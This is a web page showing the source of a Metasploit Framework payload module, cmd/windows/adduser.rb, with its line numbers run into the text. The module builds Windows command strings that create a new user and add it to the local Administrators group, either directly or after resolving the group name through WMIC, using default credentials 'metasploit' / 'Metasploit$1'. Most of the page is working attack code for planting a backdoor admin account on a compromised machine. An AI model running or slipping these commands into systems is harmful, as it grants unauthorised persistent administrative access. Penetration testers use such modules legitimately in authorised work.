Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/windows/adduser.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 97910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Windows Execute net user /ADD CMD',16'Description' => %q{17Create a new user and add them to local administration group.1819Note: The specified password is checked for common complexity20requirements to prevent the target machine rejecting the user21for failing to meet policy requirements.2223Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)24},25'Author' => ['hdm','scriptjunkie','Chris John Riley'],26'License' => MSF_LICENSE,27'Platform' => 'win',28'Arch' => ARCH_CMD,29'Handler' => Msf::Handler::None,30'Session' => Msf::Sessions::CommandShell,31'PayloadType' => 'cmd',32'RequiredCmd' => 'generic',33'Payload' =>34{35'Offsets' => { },36'Payload' => ''37}38))3940register_options(41[42OptString.new('USER', [ true, "The username to create", "metasploit" ]),43OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),44OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),45OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]),46])4748register_advanced_options(49[50OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),51])5253end5455def generate(_opts = {})56return super + command_string57end5859def command_string60user = datastore['USER'] || 'metasploit'61pass = datastore['PASS'] || ''62cust = datastore['CUSTOM'] || ''63wmic = datastore['WMIC']64complexity = datastore['COMPLEXITY']6566if(pass.length > 14)67raise ArgumentError, "Password for the adduser payload must be 14 characters or less"68end6970if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/71raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"72end7374if not cust.empty?75print_status("Using custom group name #{cust}")76return "cmd.exe /c net user #{user} #{pass} /ADD && " +77"net localgroup \"#{cust}\" #{user} /ADD"78elsif wmic79print_status("Using WMIC to discover the administrative group name")80return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +81"%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +82"FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +83"net user #{user} #{pass} /ADD && " +84"net localgroup \"%X\" #{user} /ADD\""85else86return "cmd.exe /c net user #{user} #{pass} /ADD && " +87"net localgroup Administrators #{user} /ADD"88end8990end91end929394